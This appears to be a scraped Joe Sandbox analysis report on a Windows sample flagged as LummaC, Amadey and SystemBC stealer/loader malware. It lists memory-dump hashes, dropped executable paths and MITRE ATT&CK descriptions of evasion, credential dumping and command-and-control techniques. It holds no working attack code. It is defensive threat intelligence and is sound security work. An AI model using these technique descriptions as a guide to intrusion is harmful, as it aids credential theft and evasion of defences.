Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: e]
API String ID: 1078844751-3915458103
Opcode ID: da2ffacef873561757b77232b4a89d707a7b252119d902d28cad04dbbffdd96b
Instruction ID: 797f9c820a5f937f45a7d8a325db4023dbd0b4d5320a01b307384e965c990170
Opcode Fuzzy Hash: da2ffacef873561757b77232b4a89d707a7b252119d902d28cad04dbbffdd96b
Instruction Fuzzy Hash: B3F0B236501129AFCF225F90EC05EAEBF66FB08760B449419FD0A66130C7329D61EFD0

Function 005DB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 005DB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 005DB961

Strings

pContext, xrefs: 005DB959

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: c3689fdebe84ab2187ee5ec6a2184b5340feed16ef9df589c0de6e959cdc3505
Instruction ID: ce166a7204847140ce9ee1f7a390fe3d3183f6e98095927c2e8401cc94af1b0d
Opcode Fuzzy Hash: c3689fdebe84ab2187ee5ec6a2184b5340feed16ef9df589c0de6e959cdc3505
Instruction Fuzzy Hash: 4CE02B39B4010497CB08BB65D85DC5EBF7E6EC0710701401AE551A3380DB70DA00C9D0

Function 005D34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 005D34FC

Strings

pScheduler, xrefs: 005D34F4
version, xrefs: 005D34E1

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 4fe693ca2d647c178a3e76ac0a5db51348e6586e37c1c45c8a428f5d8f8c07ed
Instruction ID: 4c8832eea0b7c8ce9e95376e87997bb07f009af2000391d4014e90fa3fbd4709
Opcode Fuzzy Hash: 4fe693ca2d647c178a3e76ac0a5db51348e6586e37c1c45c8a428f5d8f8c07ed
Instruction Fuzzy Hash: CDE08634480208B7CF3AFA58D84FFCD7F68BB11705F04C527B851251D19BB99788CA82

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Threatname: SystemBC

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\wtkb\qcwew.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\87c402ca32.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Baursystempower[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Bestsoundeffectives[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Autosoundmick[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre